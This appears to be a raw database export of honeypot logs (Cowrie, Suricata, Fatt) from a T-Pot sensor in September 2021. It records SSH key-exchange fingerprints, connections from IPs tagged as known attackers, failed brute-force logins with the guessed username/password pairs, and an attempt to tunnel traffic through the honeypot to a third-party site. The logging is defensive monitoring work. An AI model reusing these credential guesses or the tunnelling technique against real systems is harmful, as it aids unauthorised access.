"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31496	5.188.62.219	109.199.241.180	Suricata	2021-09-20 14:45:31.02818+03	2021-09-20 15:00:02.239716+03	{"_id": "WAYGA3wBvYTbRNuEhESC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.219", "dest_ip": "192.168.20.116", "flow_id": 1436554695991212, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48824, "dest_port": 22, "timestamp": "2021-09-20T11:45:31.028180Z", "@timestamp": "2021-09-20T11:45:31.028Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
31497	5.188.62.219	109.199.241.180	Fatt	2021-09-20 14:45:31.02839+03	2021-09-20 15:00:02.240717+03	{"_id": "WwYGA3wBvYTbRNuEhUR7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "5.188.62.219", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519", "hassh": "eccf733a56108dec8ecc8efbc681be63", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "ceastc": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "client": "SSH-2.0-Go", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}, "protocol": "ssh", "src_port": 48824, "dest_port": 22, "timestamp": "2021-09-20T11:45:31.028390", "@timestamp": "2021-09-20T11:45:31.028Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31498	5.188.62.219	109.199.241.180	Cowrie	2021-09-20 14:45:31.390868+03	2021-09-20 15:00:02.242717+03	{"_id": "YgYGA3wBvYTbRNuEhkTD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"id": 0, "data": "b'\\\\x16\\\\x03\\\\x03\\\\x00\\\\xc6\\\\x01\\\\x00\\\\x00\\\\xc2\\\\x03\\\\x03\\\\xf6\\\\xc8Lu\\\\xa47\\\\x9f\\\\xafI\\\\x00&\\\\xf8\\\\xdd\\\\xb5\\\\n-\\\\xd4i\\\\x8a-\\\\xf9[\\\\xdf\\\\xf7\\\\xe2\\\\xf1\\\\xa3\\"b\\\\n\\\\xcas\\\\x00\\\\x00\\\\x1a\\\\xc0+\\\\xc0/\\\\xc0,\\\\xc00\\\\xc0\\\\x13\\\\xc0\\\\x14\\\\x00\\\\x9c\\\\x00\\\\x9d\\\\x00/\\\\x005\\\\x00\\\\n\\\\x00\\\\xff\\\\xc0\\\\n\\\\x01\\\\x00\\\\x00\\\\x7f\\\\x00\\\\x17\\\\x00\\\\x00\\\\x00\\\\r\\\\x00 \\\\x00\\\\x1e\\\\x02\\\\x01\\\\x03\\\\x01\\\\x04\\\\x01\\\\x05\\\\x01\\\\x06\\\\x01\\\\x02\\\\x02\\\\x03\\\\x02\\\\x04\\\\x02\\\\x05\\\\x02\\\\x06\\\\x02\\\\x02\\\\x03\\\\x03\\\\x03\\\\x04\\\\x03\\\\x05\\\\x03\\\\x06\\\\x03\\\\x00\\\\x0b\\\\x00\\\\x04\\\\x03\\\\x00\\\\x01\\\\x02\\\\x00\\\\n\\\\x004\\\\x002\\\\x00\\\\x0e\\\\x00\\\\r\\\\x00\\\\x19\\\\x00\\\\x0b\\\\x00\\\\x0c\\\\x00\\\\x18\\\\x00\\\\t\\\\x00\\\\n\\\\x00\\\\x16\\\\x00\\\\x17\\\\x00\\\\x08\\\\x00\\\\x06\\\\x00\\\\x07\\\\x00\\\\x14\\\\x00\\\\x15\\\\x00\\\\x04\\\\x00\\\\x05\\\\x00\\\\x12\\\\x00\\\\x13\\\\x00\\\\x01\\\\x00\\\\x02\\\\x00\\\\x03\\\\x00\\\\x0f\\\\x00\\\\x10\\\\x00\\\\x11\\\\x00\\\\x00\\\\x00\\\\x13\\\\x00\\\\x11\\\\x00\\\\x00\\\\x0ewww.stoloto.ru'", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.219", "dest_ip": "www.stoloto.ru", "eventid": "cowrie.direct-tcpip.data", "message": "discarded direct-tcp forward request 0 to www.stoloto.ru:443 with data b'\\\\x16\\\\x03\\\\x03\\\\x00\\\\xc6\\\\x01\\\\x00\\\\x00\\\\xc2\\\\x03\\\\x03\\\\xf6\\\\xc8Lu\\\\xa47\\\\x9f\\\\xafI\\\\x00&\\\\xf8\\\\xdd\\\\xb5\\\\n-\\\\xd4i\\\\x8a-\\\\xf9[\\\\xdf\\\\xf7\\\\xe2\\\\xf1\\\\xa3\\"b\\\\n\\\\xcas\\\\x00\\\\x00\\\\x1a\\\\xc0+\\\\xc0/\\\\xc0,\\\\xc00\\\\xc0\\\\x13\\\\xc0\\\\x14\\\\x00\\\\x9c\\\\x00\\\\x9d\\\\x00/\\\\x005\\\\x00\\\\n\\\\x00\\\\xff\\\\xc0\\\\n\\\\x01\\\\x00\\\\x00\\\\x7f\\\\x00\\\\x17\\\\x00\\\\x00\\\\x00\\\\r\\\\x00 \\\\x00\\\\x1e\\\\x02\\\\x01\\\\x03\\\\x01\\\\x04\\\\x01\\\\x05\\\\x01\\\\x06\\\\x01\\\\x02\\\\x02\\\\x03\\\\x02\\\\x04\\\\x02\\\\x05\\\\x02\\\\x06\\\\x02\\\\x02\\\\x03\\\\x03\\\\x03\\\\x04\\\\x03\\\\x05\\\\x03\\\\x06\\\\x03\\\\x00\\\\x0b\\\\x00\\\\x04\\\\x03\\\\x00\\\\x01\\\\x02\\\\x00\\\\n\\\\x004\\\\x002\\\\x00\\\\x0e\\\\x00\\\\r\\\\x00\\\\x19\\\\x00\\\\x0b\\\\x00\\\\x0c\\\\x00\\\\x18\\\\x00\\\\t\\\\x00\\\\n\\\\x00\\\\x16\\\\x00\\\\x17\\\\x00\\\\x08\\\\x00\\\\x06\\\\x00\\\\x07\\\\x00\\\\x14\\\\x00\\\\x15\\\\x00\\\\x04\\\\x00\\\\x05\\\\x00\\\\x12\\\\x00\\\\x13\\\\x00\\\\x01\\\\x00\\\\x02\\\\x00\\\\x03\\\\x00\\\\x0f\\\\x00\\\\x10\\\\x00\\\\x11\\\\x00\\\\x00\\\\x00\\\\x13\\\\x00\\\\x11\\\\x00\\\\x00\\\\x0ewww.stoloto.ru'", "session": "7cc91d7357dc", "@version": "1", "dest_port": 443, "timestamp": "2021-09-20T11:45:31.390868Z", "@timestamp": "2021-09-20T11:45:31.390Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.data	\N	\N	\N
31499	5.188.62.219	109.199.241.180	Cowrie	2021-09-20 14:45:31.029085+03	2021-09-20 15:00:02.243716+03	{"_id": "ZQYGA3wBvYTbRNuEhkTD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-gcm@openssh.com", "chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr", "aes128-cbc", "3des-cbc", "arcfour", "arcfour128", "arcfour256"], "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "eccf733a56108dec8ecc8efbc681be63", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "5.188.62.219", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss", "ssh-ed25519"], "message": "SSH client hassh fingerprint: eccf733a56108dec8ecc8efbc681be63", "session": "7cc91d7357dc", "@version": "1", "timestamp": "2021-09-20T11:45:31.029085Z", "@timestamp": "2021-09-20T11:45:31.029Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}}	1	\N	cowrie.client.kex	\N	\N	\N
31500	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:45:37.16198+03	2021-09-20 15:00:02.245717+03	{"_id": "eQYGA3wBvYTbRNuEnkQ1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.login.failed", "message": "login attempt [user1/1qazxsw2] failed", "session": "74a263e3daf8", "@version": "1", "password": "1qazxsw2", "username": "user1", "timestamp": "2021-09-20T11:45:37.161980Z", "@timestamp": "2021-09-20T11:45:37.161Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31506	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:45:44.71179+03	2021-09-20 15:00:02.253718+03	{"_id": "hwYGA3wBvYTbRNuEuUST", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.session.closed", "message": "Connection lost after 6 seconds", "session": "6371df155e3f", "@version": "1", "duration": 6.750622034072876, "timestamp": "2021-09-20T11:45:44.711790Z", "@timestamp": "2021-09-20T11:45:44.711Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31501	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:45:37.962194+03	2021-09-20 15:00:02.247717+03	{"_id": "egYGA3wBvYTbRNuEoETW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "203.176.71.44", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51038, "timestamp": "2021-09-20T11:45:37.962194", "@timestamp": "2021-09-20T11:45:37.962Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31502	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:45:37.958629+03	2021-09-20 15:00:02.248717+03	{"_id": "fQYGA3wBvYTbRNuEokQe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 203.176.71.44:51038 (192.168.176.2:22) [session: 6371df155e3f]", "session": "6371df155e3f", "@version": "1", "protocol": "ssh", "src_port": 51038, "dest_port": 22, "timestamp": "2021-09-20T11:45:37.958629Z", "@timestamp": "2021-09-20T11:45:37.958Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31503	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:45:44.608526+03	2021-09-20 15:00:02.249717+03	{"_id": "iAYGA3wBvYTbRNuEu0Q3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 30584, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 3530, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 2006956418549019, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 39812, "timestamp": "2021-09-20T11:45:44.608526Z", "@timestamp": "2021-09-20T11:45:44.608Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
31504	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:45:44.657139+03	2021-09-20 15:00:02.250716+03	{"_id": "igYGA3wBvYTbRNuEvEQx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35636, "dest_port": 443, "timestamp": "2021-09-20T11:45:44.657139", "@timestamp": "2021-09-20T11:45:44.657Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
31505	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:45:43.380151+03	2021-09-20 15:00:02.251718+03	{"_id": "hQYGA3wBvYTbRNuEtUSp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.login.failed", "message": "login attempt [dye/dye] failed", "session": "6371df155e3f", "@version": "1", "password": "dye", "username": "dye", "timestamp": "2021-09-20T11:45:43.380151Z", "@timestamp": "2021-09-20T11:45:43.380Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31508	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:45:44.697368+03	2021-09-20 15:00:02.255718+03	{"_id": "iwYGA3wBvYTbRNuEvEQx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35636, "timestamp": "2021-09-20T11:45:44.697368", "@timestamp": "2021-09-20T11:45:44.697Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
31509	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:45:38.468457+03	2021-09-20 15:00:02.256717+03	{"_id": "fgYGA3wBvYTbRNuEokQe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "74a263e3daf8", "@version": "1", "duration": 2.904572010040283, "timestamp": "2021-09-20T11:45:38.468457Z", "@timestamp": "2021-09-20T11:45:38.468Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31510	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:45:57.691983+03	2021-09-20 15:00:02.257716+03	{"_id": "qgYGA3wBvYTbRNuE7ERh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 176.122.188.154:58878 (192.168.176.2:22) [session: 4c4add51e315]", "session": "4c4add51e315", "@version": "1", "protocol": "ssh", "src_port": 58878, "dest_port": 22, "timestamp": "2021-09-20T11:45:57.691983Z", "@timestamp": "2021-09-20T11:45:57.691Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31511	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:45:57.694911+03	2021-09-20 15:00:02.259717+03	{"_id": "qwYGA3wBvYTbRNuE7ERh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "4c4add51e315", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:45:57.694911Z", "@timestamp": "2021-09-20T11:45:57.694Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31512	176.122.188.154	109.199.241.180	Suricata	2021-09-20 14:45:57.862701+03	2021-09-20 15:00:02.260716+03	{"_id": "rAYGA3wBvYTbRNuE7kQF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.122.188.154", "dest_ip": "192.168.20.116", "flow_id": 701799610054792, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58878, "dest_port": 22, "timestamp": "2021-09-20T11:45:57.862701Z", "@timestamp": "2021-09-20T11:45:57.862Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
